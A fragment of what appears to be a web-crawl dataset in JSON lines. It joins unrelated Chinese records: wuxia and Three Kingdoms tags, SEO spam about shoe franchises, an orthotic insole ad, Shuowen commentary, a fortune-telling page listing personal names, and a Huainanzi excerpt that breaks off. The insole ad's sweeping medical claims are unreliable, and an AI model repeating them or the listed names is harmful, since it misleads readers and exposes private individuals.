姜維 黑白子 無塵道長 星宿派 小鷹爪功 司馬昭弒君 桃花仙 一指頭禪 摘心手 方怡 一燈大師 嫁衣神功 仇國論 一串鞭 孫曉 樊城之戰 降龍伏虎羅漢拳 劉備稱帝 殷離 武三通 鹿鼎記 失魂引 羊祜 獨孤九劍 張郃 王語嫣 孫堅 君子劍 冷月寶刀 伏養氣功 火併蕭十一郎 馬大元 蒼穹十三式 左冷禪 掩月劍法 天外飛仙 趙半山 魏滅蜀之戰 丐幫 天一掌 軟蝟甲 炎陽奇功 翔鷹劍法 吳國太 達摩手 曹洪 黃蓋 九轉還童 衡山派 張三李四 曹休 雙尖軟矛 呂母 董卓 任我行 大喬 程普 玄鐵劍法 鴛鴦腿 曹叡 周伯通 司馬懿 死眷術 屠龍刀 沖虛道長 荀攸 決戰前後 孫尚香 吳質 諸葛亮北伐 袁紫衣 瘋魔上天下地一百零七撃 曹丕 日月麗天大法 馬謖 紫氣天羅 黃忠 韋一笑 郭馬之亂 公孫綠萼 方證大師 燎原百擊 索額圖 天外流星 郭襄 勞德諾 九玄大法 夏青青 呂布 心硯 曾柔 于禁 東洋神風刀法 竹節鞭 奕劍術 黃祖 大地飛鷹 冰玄勁 血鸚鵡 長平公主 滅絕師太 三尸腦神丹 丁奉 興勢之戰 暴雨梨花釘 林遠圖 曹仁 余滄海 碧海潮生曲 龐德 英雄無淚 穆念慈 誰來跟我乾杯 徐庶 陳近南 滿天花雨 飛伏一百零八槍 逍遙訣 完顏洪烈 曹操討伐袁術之戰 呂玲綺 先天氣功 心佛掌 沙影二十八劍 金蛇劍 楊過 太史慈 塌上策 飛鶯飛鷹 明玉功 蔣琬 就地十八滾 滅神掌 樂進 絕代雙驕角色列表 陳家洛 三少爺的劍 常伯志 林平之 蔡文姬 青龍會 蛤蟆功 成昆 武當七俠 大武俠時代 散手八撲 邊城浪子 慈航劍典 神鵰俠侶 法顯 滿地開花八十—式 黑鬼爪 岳靈珊 碧血劍 阿青 賈南風 朱子柳 荊楚爭雄記 日月當空 紫霞神功 大旗英雄傳 戚芳 甘寧 郭芙 楚留香新傳 丁不四 孫策平江東之戰 王平 龍門鏢局 雷霆刀法 孤星傳 段正明 黃蓉 陸無雙 歡樂英雄 布衣神相 汪劍通 丈八蛇矛 孫策 駱冰 諸葛恪 菩提心功 藍鳳凰 奪命十三劍 七流星 穿雲劍法 韓小瑩 星彩 孫皓暴政 月異星邪 十二都天神功 楊修 孫權 夏侯淵 丁典 五毒教 橫煉罡 換日大法 劍花煙雨江南 彼岸劍訣 大手印 鐵蒺藜骨朵 楊康 鬼火十三拍 魏延 衛青 呂壹專權 名劍風流 陸遜 逍遙拆 桃葉仙 飛燕七式 峨嵋派 九陽神功 吳應熊 馬忠 枯禪玄功 移花接玉 傻姑 浣花洗劍錄 烏金血劍 鐵脊蛇矛 李元霸 滿寵 枯榮大師 水笙 五帝鐧 五虎斷門刀 建安文學 四大名捕 淑女劍 阿紫 華山派 殭屍拳 流星蝴蝶劍 界橋之戰 九陰真經 益州之戰 岳不羣 法正 風萍掌 孫皓 尹克西 破碎虚空 七傷拳 金蛇郎君 孟獲 夏侯霸 大拍手 玄慈 流星鎚 起風了 阿朱 北冥神功 東興之戰 曹真 袁承志 七殺手 水雲袖法 七种武器 靈犀一指 蕭逸 貝海石 華陀針 程靈素 神蛛凌空銀絲渡虛 紅花會 金針開穴之法 漢中之戰 街亭 貂蟬 白狼山之戰 石田三成 回轉斧法三十式 桃幹仙 姑蘇慕容 丹青生 德川家康 張遼 東興之戰 段正淳 無崖子 白馬嘯西風 七十二路分筋錯骨手 裘千仞 湘妃劍 童子功十三太保橫練 摩尼教 武夷派 黯然銷魂掌 練師 定閒師太 一休 文鴦 馬岱 辟邪劍法 九轉無相神功 急風十三刺 石雙英 織女劍法 六脈神劍 魅影劍法 禿筆翁 赤壁之戰 瀟湘子 歐陽鋒 魏晉玄學 張飛 劍氣書香 移玉大法 黃天大法 凌波微步 嵩山派 吸星大法 五嶽劍派 九品中正制 左手刀法 怒劍狂花 羅漢伏虎拳 董卓討伐戰 溫瑞安 天魔擊三大散招 九月鷹飛 張苞 鎖子縮骨功 李廣 廖化 射鵰三部曲 馬皇后 文醜 鄧芝 七殺拳 太虛勁 董允 鮑三娘 王異 倚天屠龍記 多情劍客無情劍 晉滅吳之戰 謝煙客 鰲拜 程英 二宮之爭 的盧 擒拿截脈法 典韋 鍾會 鍾靈 桃根仙 迷蹤七變 諸葛誕 群狐 八賢王 嫁衣神功 五絕神功 章進 魅變術 裂馬槍 絕情谷 旋風十八矛 太虛錯手 田伯光 楊儀 賭局 蒼穹十三劍 楊頂天 郭淮 雪山飛狐 藏密智能書 古龍作品 捨身大法 神刀斬 雙兒 屯田制 康敏 鍾繇 大元丹法 于萬亭 吳六奇 玩命拳 定逸師太 郭靖 喬鋒 花間十二支 黃藥師 石亭之戰 鳥渡術 司馬昭 曹爽專權 郭嘉 洪七公 龜息功 劉備 連體心法 石亭之戰 少林派 吳起 呂蒙 奼女心法 游坦之 嵩山十三太保 合淝新城之戰 賈詡 祝融 蔣濟 衛春華 吳三桂 豔陽刃法 第六天魔王","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.herostory.tw\/alltags","date":"2020-07-09T05:40:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655898347.42\/warc\/CC-MAIN-20200709034306-20200709064306-00520.warc.gz","language":"lzh","language_score":0.5900591612,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5900591611862183, \"nan_Hani_score\": 0.2526944577693939, \"cmn_Hani_score\": 0.1217489168047905, \"yue_Hani_score\": 0.03296046331524849}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"蘇州全民竞彩老北京布鞋、休閑鞋品牌加盟店信息和蘇州鞋店加盟方法介紹。\n渝北 重慶 山東 德州 內蒙古 赤峰 江西 贛州 會昌 遼寧 葫蘆島 湖北 宜昌 愉林 陝西 河北 臨章 邯鄲 西藏 那曲 比如 泡腳的好處 用什麽泡腳好 河間 滄州 湖南 邵東 邵陽 漯河 河南","id":"","dump":"CC-MAIN-2020-50","url":"http:\/\/www.lamdemexico.com\/tags.php?\/154\/","date":"2020-11-29T01:57:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141195967.34\/warc\/CC-MAIN-20201129004335-20201129034335-00008.warc.gz","language":"lzh","language_score":0.766821444,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.7668214440345764, \"cmn_Hani_score\": 0.22766774892807007}","num_words":31,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.767,"perplexity_score":500.0,"cluster_detection":1} +{"text":"矯形鞋墊適用拇趾外翻者、足部病變者、足部病痛者、足跖球疼痛者、足部彈性喪失者、脛骨結節骨骺炎者、 跟腱炎者、內側膝關節痛者、內翻扭傷者、兒童腳跟疼痛.骨突炎\/跟骨骨突炎者、脛夾者、籽骨炎者、外側疼痛和前足外翻畸形者、拇趾活動受限者、足部潰瘍及畸形者、背部疼痛和雙下肢不等長者、阿契里斯跟腱痛及前腳低疼痛者。同時對扁平足、高弓足、內外翻足、糖尿病足也可矯正。","id":"","dump":"CC-MAIN-2022-40","url":"http:\/\/www.hppdd.com\/e\/action\/ShowInfo.php?classid=15&id=211","date":"2022-10-01T04:44:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335530.56\/warc\/CC-MAIN-20221001035148-20221001065148-00241.warc.gz","language":"lzh","language_score":0.6259072423,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.6259072422981262, \"cmn_Hani_score\": 0.21156956255435944, \"jpn_Jpan_score\": 0.05505506321787834, \"wuu_Hani_score\": 0.04073008522391319, \"nan_Hani_score\": 0.02085055038332939, \"yue_Hani_score\": 0.015343790873885155}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.626,"perplexity_score":500.0,"cluster_detection":1} +{"text":"晉語。⺊籒曰。狹以銜骨。韋曰。骨所以鯁刺人也。忠言逆耳。如食骨在喉。故云骨骾之臣。漢書巳下皆作骨鯁。字從魚。謂畱咽者魚骨挍多也。依說文則鯁訓魚骨。骨畱咽中當作骾。按自髑至體皆言人骨。體者、緫上文言之也。髍者、人骨之病也。骼骴二文、則禽獸之骨。骾者、人哽於物。骨主謂人。故其字非人骨而從骨。其次則必先於駱骴也。\n古杏切。古音在十部。","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.shuowen.org\/view\/2579?pinyin=geng","date":"2024-03-03T05:38:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947476205.65\/warc\/CC-MAIN-20240303043351-20240303073351-00692.warc.gz","language":"lzh","language_score":0.535834074,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.5358340740203857, \"cmn_Hani_score\": 0.2277432382106781, \"wuu_Hani_score\": 0.07479704916477203, \"jpn_Jpan_score\": 0.05381615459918976, \"zxx_Latn_score\": 0.022920705378055573, \"yue_Hani_score\": 0.020773299038410187}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.536,"perplexity_score":500.0,"cluster_detection":1} +{"text":"輸入您的姓氏和您的名字,本姓名算命系統只支持1個或者2個漢字的姓,1個或者2個漢字的名字。請合理輸入,謝謝配合!\n請注意本系統專門為女孩(女性)姓名算命,男性請點擊這里:男孩姓名算命\n最新查詢姓名:張馨睿 張菡兒 張菡 張菡銓 張菡張 傅芮姿 張琤菡 張琤敏 蔡孟燃 王詩晴 史娟娟 高若溪 鄧晴珈 張佳輝 郭圣琦 郭日初 郭久安 郭菀叢 郭菀辰 王佳靈 孫鳳茹 符議尹 龐嘉敏 陳自強 陳自言 陳自龍 劉萬容 曾谷 鍾錦一 馬武琴 黃若羽 卓允歆 陳青青 黃國龍 黃錦芬 李家琦 趙婉晨 趙晨凝 梁航瑋 趙盈伊 趙南皓 趙若含 趙雨蘇 梁影 陸燕 趙霞元 趙汝萌 于學芝 趙詩彤 王妮娜 闞文芳 安萍 趙秋舒 趙沐薇 趙語萱 龍子怡 張伊辰 劉禮萍 周匯寅 周昕昕 周嘉馨 闞茗熙 張金浩 白靜靜 闞熙茗 白凈凈 莫絲惠 魏延鴿 莫嘉穎 丁素群 付恩俊 王繼東 莫翠穎 付恩茜 莫翠芬 莫翠芬 雅時 黃茹昭 黃煜曇 黃煜菲","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/www.uuvwwf.com.cn\/xingming\/nv\/","date":"2019-10-20T04:53:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986702077.71\/warc\/CC-MAIN-20191020024805-20191020052305-00104.warc.gz","language":"lzh","language_score":0.7189831734,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.7189831733703613, \"cmn_Hani_score\": 0.1499202698469162, \"nan_Hani_score\": 0.11430461704730988, \"yue_Hani_score\": 0.01522025465965271}","num_words":82,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.767,"perplexity_score":500.0,"cluster_detection":1} +{"text":"淮南子\n群书治要卷四十一\n原 道\n夫道者。覆天地而和阴阳。节四时而调五行。故达于道者。处上而民弗重也。居前而众不害也。天下归之。奸邪畏之。以其无争于万物也。故莫能与之争。故体道者。逸而不穷。任数者。劳而无功。夫峭法刻诛者。非霸王之业也。峭。峻。捶䇲繁用者。非致远之御也。离朱之明。察鍼末于百步之外。而不能见渊中之鱼。师旷之聪。合八风之调。而不能听十里之外。故任一人之能。不足以治三亩之宅。修道理之数。因天地之自然。则六合不足均也。\n本 经\n凡人之性。心平欲得则乐。歌舞节则禽兽跳矣。有忧则悲哀。有所侵犯则怒。怒则有所释憾矣。故钟鼓管箫。所以饰喜也。衰绖苴杖。苴。麻。所以饰哀也。金鼓鈇钺。所以饰怒也。必有其质。乃为之文。古者圣王在上。上下同心。君臣辑睦。衣食有余。家足人给。父慈子孝。兄良弟顺。天下和(旧无和字。补之)洽。人得其愿。故圣人为之作礼乐。以和节之。末世之政。田渔重税。关市急征。民力竭于徭役。财用殚于会赋。会。计。居者无食。行者无粮。老者不养。死者不葬。赘妻鬻子。以给上求。犹不能赡其用。愚夫惷妇。皆有流连之心。凄怆之意。乃始为之撞大钟。击鸣鼓。吹竽笙。弹琴瑟。则失乐之本矣。\n古者上求薄而民用给。君施其德。臣尽其力。父行其慈。子竭其孝。各致其爱。而无憾恨其间矣。夫三年之丧。非强引而致之也。听乐不乐。食旨不甘。思慕之心未能弛。晚世风流俗败。嗜欲多而礼义废。君臣相欺。父子相疑。怨尤充胷。思心尽亡。被衰戴绖。戏笑其中。虽致之三年。失丧之本矣。古者天子一畿。千里为畿。诸侯一同。百里为同也。各守其分地。不得相侵。有不行王道。暴虐万民。乱政犯禁者。乃举兵而伐之。戮其君。易其党。卜其子孙以代之。天子不灭同姓。诸侯不灭国。自古之正也。(本注作天子不灭国。诸侯不灭姓。自古之政也)晚世务广地侵壤。并兼无已。举不义之兵而伐无罪之国。杀不辜之民。而绝先圣之后。大国出攻。小国城守。驱人之马牛。系人之子女。毁人之宗庙。徙人之重宝。流血千里。暴骇满野。以赡贪主之欲。非兵之所为主也。故兵者所以讨暴也。非所以为暴也。乐者所以致和也。非所以为淫也。丧者所以尽哀也。非所以为伪也。故事亲有道矣。而爱为务。朝廷有容矣。而敬为上。处丧有礼矣。而哀为主。用兵有术矣。而义为本。本立而道行。本伤而道废矣。\n主 术\n人主之术。处无为之事。行不言之教。清静而不动。壹动(壹动作壹度)而不摇。因循而任下。责成而不劳。是故心知规。而师傅喻道。口能言。而行人称辞。足能行。而相者前导。耳能听。而执政(政作正)者进谏。是故虑无失策。举无过事。言成文章。而行为仪表于天下。进退应时。动静循理。不为丑美好憎。不为赏罚喜怒。事由自然。莫出于己。故古之王者。冕而前旒。所以蔽明。冕。冠也。前旒。冕前珠饰也。黈纩充耳。所以揜聪。黈纩。所以塞耳。天子外屏。所以自障也。故所理者远。则所在者近。所治者大。则所守者小。目妄视则淫。耳妄闻(闻作听)则惑。口妄言则乱。三关者。不可不慎守也。\n夫明主之听于群臣。其计可用也。不羞其位。其言可行也。不责其辩。暗主则不然。信所爱习亲近者。虽邪枉不正不能见也。疏远卑贱者。虽竭力尽忠不能知也。有言者穷之以辞。有谏者诛之以罪。如此而欲炤海内。存万方。是犹塞耳而听清浊。掩目而视青黄也。其离聪明亦远矣。\n汤。武。圣主也。而不能与越人乘舼舟浮江湖。伊尹。贤相也。而不能与胡人骑原马。服騊駼。 原。国名。在益州西南。出千里马。騊駼。野马。孔。墨博通。而不能与山居者入榛薄。出险阻。由此观之。则人智之于物浅矣。而欲以炤海内。存万方。不因道理之数。而专己之能。则其穷不达矣。故智不足以为治。勇不足以为强。则人才不足以任明矣。然而君人者。不下庙堂之上。而知四海之外者。因物以识物。因人以知人也。故人主深居隐处。以避燥湿。闺门重袭。以避奸贼。内不知闾里之情。外不知山泽之形。帷幕之外。目不能见十里之前。耳不能闻百步之外。然天下之物。无所不通者。其灌输者大。而斟酌者众也。是故不出户知天下。不窥牖知天道。乘众人之智。则天下不足有也。专用其心。则独身不能守也。\n主道圆者。运转而无端。化育如神。虚无因循。常后而不先者也。臣道方者。论是处当。为事先唱。守职分明。以立成功者也。是故君臣异道则治。同道则乱。各得其宜。处得其当。则上下有以相使也。夫载重而马羸。虽造父不能以致远。车轻而马良。中工可以追速。是故圣人之举事也。岂能咈道理之数。诡自然之性。以曲为直。以诎为伸哉。未尝不因(因下旧无其字。补之)其资而用之也。是以积力之所举。则无不胜也。众智之所为。则无不成也。\n贤主之用人。犹巧匠制木。大小修短。皆得所宜。规矩方圆。各有所施。殊形异材。莫不可得而用也。天下之物。莫凶于奚毒 奚毒。附子。然而良医橐而藏之。有所用也。是故竹木草莽之材。犹有不弃者。而又况人乎。\n今夫朝廷之所不举。而乡邑之所不誉。非其人不肖。其所(其所下旧无以字。补之)以官之者。非其职也。麋之上山也。大獐不能跋也。及其下也。牧竖能追之。才有修短也。是故有大略者。不可责以捷巧。有小智者。不可任以大功。人有其才。物有其形。有任一而大重。有任百而尚轻。是故审于毫厘之计者。必遗天地之数(天地之数作天下之大数)。不失小物之选者。惑于大事之举。犹狸之不可使搏牛。虎之不可使捕鼠也。今人之才。有(有作或)欲平九州。从(从或作并)方外。存危国。而乃责之以闺阁之礼。人事(人事作隩窔)之间。或佞巧小具。修乡曲之俗。卑下众人之耳目。而乃任之以天下之权。治乱之机。是犹以斧鬋毛。而以刀伐木也。皆失其宜矣。\n人主之赋敛于人也。必先计岁收。量民积聚。知民(无民字)饶馑有余不足之数。然后取车舆衣食。供养其欲。(欲旧作上。改之)高台层榭。非不丽也。然民无窟室狭庐。窟室。土室。则明主不乐也。肥醲甘脆。非不香(香作美)也。然民无糟糠菽粟。则明主不甘也。匡床衽(衽作箬)席。非不宁也。然而民有处边城。犯危难。泽死暴骸者。则明主不安也。故古之君人者。甚憯怛于民也。国有饥者。食不重味。民有寒者。而冬不被裘。岁丰谷登。乃始悬钟鼓陈干戚。君臣上下同心而乐之。国无哀人。故古之为金石管弦者。所以宣乐也。兵革斧钺。所以饰怒也。觞酌俎豆。所以效喜也。衰绖菅屦。所以喻哀也。此皆有充于内。而成象于外者也。及至乱主。取民则不裁其力。求下则不量其积。男女不得事耕织之业以供上之求。力勤财匮。君臣相疾。而乃始撞大钟。击鸣鼓。吹竽笙。弹琴瑟。是由贯介胄而入庙。被绮罗而从军也。失乐之所由生矣。\n食者民之本也。民者国之本也。国者君之本也。是故君人者。上因天时。下尽地财。中用人力。是以群生遂长。五谷蕃殖。各因其宜。所以应时修备。富利国民。实旷来远者。其道备矣。非能目见而足行之也。欲利之也。欲利之也。不忘于心。则官自备矣。心之于九窍四支也。不能一事焉。然而动静听视。皆以为主者。不忘乎欲利之也。故尧为善而众善至。桀为非而众非来矣。\n凡人之论。心欲小而志欲大。智欲圆而行欲方。能欲多而事欲鲜。尧置欲(欲作敢)谏之鼓。舜立诽谤之木。汤有司直之人。武王有戒慎之铭。过若毫厘。而既已备之矣。夫圣人之于善也。无小而不举。于过也。无微而不改。战战栗栗。日慎一日。由此观之。则圣人之心小矣。武王克殷。发巨桥之粟。散鹿台之钱。封比干之墓。解箕子之囚。无故无新。唯贤之亲。用非其有。使非其人。晏然若其故有之。由此观之。则圣人之志大矣。文王周观得失。遍览是非。尧舜所以昌。桀纣所以亡者。皆着之于明堂。由是观之。则圣人之智圆矣。成康继文武之业。守明堂之制。观存亡之迹。见成败之变。非道不言。非义不行。言不苟出。行不苟为。择善而后从事焉。由此观之。则圣人之行方矣。孔子之通。智过苌弘。 苌弘。周景王之史臣。通天下鬼方之术也。勇服孟贲。 孟贲。卫人。能亦多矣。然而勇力不闻。伎巧不知。专行孝道。以成素王。事亦鲜矣。夫圣人之智。固已多矣。其所守者约。故举而必荣。愚人之智。固以少矣。其所事者又多。故动而必穷矣。\n缪 称\n主者。国之心也。心治则百节皆安。心扰则百节皆乱 治犹理也。节犹事也。以体喻也。故其心治者枝体相遗遗。忘。其国治者。君臣相忘也。各得其所。无所思念。\n君子非义无以生。失义则失其所以生。小人非嗜欲无以活。失嗜欲则失其所以活。故君子惧失义。小人惧失利。观其所惧。知居(居作各)殊矣。\n凡人各贤其所悦。而悦其所快。世莫不举贤。贤其所悦者。而悦其所行之快性。(其所行之快性。作其性之所快)人(注人上有凡字)无不举与己同者。以为贤也。或以治。或以乱。非自遁也。求同于己者 。遁。失。己未必贤。而求与己同者也。而欲得贤。亦不几几。近也。矣。\n齐 俗\n子路拯拯。举也。溺。而受牛谢。孔子曰。鲁国必好救人于患矣。子贡赎人。而不受金于府。鲁国之法。赎人于他国者。受金于府。孔子曰。鲁国不复赎人矣。子路受而劝德。子贡让而止善。孔子之明。以小知大。以近知远。通于论者也。由此观之。廉有所不(无不字)在。而不可公行也。故行齐于俗可随也。事周于能易为也。矜伪以惑世。伉行以违众。圣人不以为民俗也。\n日月欲明。浮云盖之。河水欲清。沙石秽之。人性欲平。嗜欲害之。夫纵欲而失性。动未尝正也。以治身则失。以治国则败。是故不闻道者。无以反性。故古之圣王。能得诸己。故令行禁止。名传后世。德施四海。是故凡将举事。必先平意清神。神清意平。物乃可正。\n夫载哀者。闻歌声而泣。载乐者。闻哭者而笑。何者。载使然也。是故贵虚。虚者。无所载于哀乐。故水激则波兴。气乱则智昏。智昏不可以为政。波水不可以为平。故圣王执一而勿失。万物之情测(测作既)矣。四夷九州服矣。\n天下是非无所定。世各是其所是。非其所非。所谓是与所谓非各异。皆自是而非人。今吾欲择是而居之。择非而去之。不知世之所谓是非者。孰是孰非。\n客有见人于季子者。季(季或作宓)子。子贱也。客出。季子曰。子之所见客。独有三过。望我而笑。是イ蹇 。慢也。谈语而不称师。是反也。交浅而言深。是乱也。客曰。望君而笑。是公也。谈语而不称师。是通也。交浅而言深。是忠也。故客之容一体也。或以为君子。或以为小人。所自见之异也。故趣舍合。则言忠而益亲。身疏则谋当而见疑也。\n亲母为其子治(旧无治字。补之)扢秃。血流至耳。见者以为爱之至也。使在于继母。则过者以为嫉也。事之情一也。所从观者异也。从城上视牛如羊。视羊如豚。所居高也。窥面于盘水则圆。于杯水即椭。面形不变其故。有所圆。有所椭者。所自窥之异也。\n今吾虽欲正身而待物。庸遽知世之所自窥我者乎。治世之职易守也。其事易为也。是以人不兼官。官不兼事。各安其性。不得相干。故伊尹之兴土功也。修胫者使之踏镬。长胫以蹋插者。使入深。强脊者使之负土。脊强者任重也。眇者使之准。伛者使之涂 。伛人涂地。因其俯也。各有所宜。而人性齐矣。胡人便于马。越人便于舟。异形殊类。易事而悖。失处而贱。得势而贵。圣人总而用之。其数一也。\n夫擎轻重。不失铢两。圣人弗用。而悬之乎权衡。视高下不差尺寸。明主弗任。而求之乎浣准。浣准。水望之平。何则。人材不可专用。而度量可世传也。夫待要褭。飞兔而驾之。要褭。飞兔。皆一日万里也。则世莫乘车。待西施。络慕(络慕作毛嫱)而为妃。西施。络慕。古好女也。则终身不家矣。然不待古之英俊。而人自足者。因其所有。而遂用之也。\n治国之道。上无苟令。官无烦治。士无伪行。工无淫巧。其事任而不扰。其器完而不饰。乱世则不然。为行者相扬以高。扬。举。为礼者相矜以伪。车舆极于雕琢。器用遽(遽或作逐)于刻镂。求货者争难得以为宝。调文者遽(遽作处)于烦绕(绕作挠)以为慧。争为诡辩。久稽而不决。无益于治。工为奇器。历岁而后成。不周于用。故神农之法曰。丈夫丁壮而不耕。天下有受其饥者。妇人当年而不织。天下有受其寒者。故身自耕。妻亲织以为天下先。\n其道民也。不贵难得之货。不器无用之物。是故其耕不强者。无以养生。其织不力者。无以揜形。有余不足。各归其身。衣食饶裕。奸邪不生。安乐无事。而天下均平。故孔丘。曾参。无所施其善。孟贲。成荆。无所行其威。成荆。古勇士也。衰世之俗。以其智巧诈伪。饰众无用。贵远方之货。珍难得之财。不积于养生之具。浇天下之淳。以清为浊。人失其情。\n故其为编户齐民无以异。然贫富之相去也。犹人君与仆虏。不足伦之。夫乘奇伎为邪施者。自足乎一世之间。守正修理。不为苟得者。不免乎饥渴(渴作寒)之患。而欲民之去末反本。是犹发其源而壅其流也。\n且夫雕文刻镂。伤农事者也。锦锈纂组。害女功者也。农事废业。饥之本也。女功不继。寒之源也。饥寒并至。而能无犯令干诛者。古今未之闻也。\n故江河决流。一乡父子兄弟相遗而走。争升陵坂。上高丘。轻足者先。不能相顾也。世乐志平。见邻国人溺。尚犹哀之。况亲戚乎。而人不能解也。游者不能拯溺。手足有所急也。灼者不能救火。身体有所痛也。夫民有余即让。不足即争。让则礼义生。争则暴乱起。扣门求火水。莫不与者。所饶足也。林中不卖薪。湖上不鬻鱼。所有余也。故物隆(隆作丰)则欲省。求赡则争止。故世治则小人守正。而利不能诱也。世乱则君子为奸。而刑不能禁也。\n道 应\n惠子为惠王为国法。惠王。魏惠王。惠子。惠施也。已成。王甚悦之。以示翟煎。翟煎曰。善。王曰。可行耶。煎曰。不可。王曰。善而不可行。何也。对曰。今举大木者。前呼邪许。后亦应之。此举重劝力之歌也。岂无郑卫激楚之音哉。然而不用者。不若此其宜也。治国在礼。不在文辩。故老子曰。法令滋彰。盗贼多有。此之谓也。\n赵襄子使攻翟而胜之。襄子方将食而有忧色。左右曰。一朝而两城下。此人之所喜(喜上旧有以字。去之)也。今君有忧色。何也。襄子曰。江河之大也。不过三日。三日而减。飘风暴风。日中不须臾。言其不能终日。今赵氏之德行无积。一朝而两城下。亡其及我乎。孔子闻之曰。赵氏其昌乎。夫忧所以为昌也。而喜所以为亡也。胜非其难者也。持之其难者也。贤主以此持胜。故其福及后世。齐楚吴越。皆尝胜矣。然而卒取亡焉。不通乎持胜也。唯有道之主能持胜。\n齐王后死。欲置后而未定。使群臣议。薛公欲中王之意。薛公。田婴。因献十珥而美其一。旦日。因问美珥之所在。因劝立以为王后。齐王大悦。遂重薛公。故人主之嗜欲见于外。则为人臣之所制。故老子曰。塞其兑。闭其门。终身不勤。\n宓子治单父。三年。宓子。子贱也。而巫马期巫马期。孔子弟子也。往观化焉。微视之。见夜渔者得鱼则释之。问焉。渔者对曰。宓子不欲人之取小鱼也。所得者小鱼。是以释之。巫马期归以报孔子曰。宓子之德至矣。使人暗行。若有严刑在其侧者。宓子何以至于此。孔子曰。丘尝问之以治。言曰。诚于此者形于彼。宓子必行此术也。\n汜 论\n天下岂有常法哉。当于世事。得于人理。顺于天地。则可以正治矣。夫神农。伏羲不施赏罚。而民不为非。然立政者。不能废法而治民。舜执干戚而服有苗。然征伐者。不能释甲兵而制强暴。由此观之。法度者。所以论民俗而节缓急也。器械者。因时变而制宜适也。圣人作法。而万民制焉。贤者立礼。而不肖者拘焉。制法之民。不可与远举。拘礼之人。不可以应变。耳不知清浊之分者。不可令调音。心不知治乱之源者。不可令制法度。必有独闻之听。独见之明。然后能擅道而行也。\n夫殷变夏。周变殷。春秋变周。三代之礼不同。何古之从。今儒墨称三代文武而不行也。是言其所不行也。儒墨之所言。今皆不行也。非今时之世而不改。是行其所非也。称其所是。行其所非。是以尽日极虑而无益于治。劳形竭精而无补于主。\n今夫图工好画鬼魅。而憎图狗马。鬼魅无信验。而狗马切于前也。夫存危治乱。非智不能。而道先称古。虽愚有余。故不用之法。圣主不行。不验之言。明主不听也。\n今谓强者胜。则度地计众。富者利。则量粟称金。如此则千乘之君。无不霸王。万乘之国。无破亡者矣。国之亡也。大不足恃。道之行也。小不可轻。由此观之。存在得道。而不在于大。亡在失道。而不在于小也。\n乱国之君。务广其地。而不务仁义。务高其位。而不务道德。是释其所以存。而就其所以亡也。故桀困于焦门。而不能自非其所行。而悔不杀汤于夏台。纣拘于宣室。而不反其过。而悔其不杀文王于牖里。尝试(尝试作二君)处强大之势。而修道德之论。汤武救罪之不给。何谋之敢虑乎。若上乱三光之明。下失万民之心。虽微汤武。孰弗能夺。今不审其在已者。而反备诸乎人。天下非一汤武也。杀一人即必或继之者矣。且汤武之所以处小弱而能着(著作以王二字)者。以其有道也。桀纣之所以处强大而终见夺者。以其无道也。今不行人之所以王。而反益己之所以夺者。趍亡之道也。\n事有可行而不可言者。有可言而不可行者。或易为而难成者。或难成而易败者。所谓可行而不可言者。趣舍也。可言而不可行者。伪诈也。易为而难成者。事也。难成而易败者。治(治作名)也。此四策者。圣人之所独视而留志也。\n未有功而知其贤者。唯尧之知舜也。功成事立。而知其贤者。市人之知舜也。夫物之相类者。世主之所乱惑也。嫌疑肖象者。众人之所眩耀也。故狠者类智。而非智也。狠。慢也。愚者类君子(君子作仁一字)。而非君子也。戆者类勇。而非勇也。使人之相去也。若玉之与石也。葵之与苋也。则论人易矣。\n天下莫易于为善。而莫难于为不善。所谓为善者。静而无为也。所谓为不善者。躁而多欲也。适情辞余。无所诱慕。修性保真。无变于己。故曰。为善者易也。越城郭。逾险塞。篡杀矫诬。非人之性也。故曰。为不善难也。\n今人之所以犯囹圄之罪。而陷于刑戮之患者。由嗜欲无厌。不修度量之故也。何以知其然。今夫陈卒设兵而相当。将施令曰。斩首者拜爵。而曲桡者要斩。然而队伯(伯作阶)之卒。皆不能前遂斩首之功。而后被要斩之罪。是去恐死而就必死也。故事或欲之。适足以失之。或避之。适足以就之。有人乘船而遇大风者。波至而恐。自投水中。非不贪生而畏死。惑于恐死而反忘生也。故人之嗜欲亦犹此也。\n故达道之人。不苟得。不让福。其有不弃。非其有不索也。恒盈而不溢。常虚而易足。今夫溜水足以溢壶榼。而江河不能实漏巵。故人心犹此也。自当以道术度量。食充虚。衣御寒。则足以养七尺之形矣。若无道术度量。则万乘之势。不足以为尊。天下之富。不足以为乐矣。\n诠 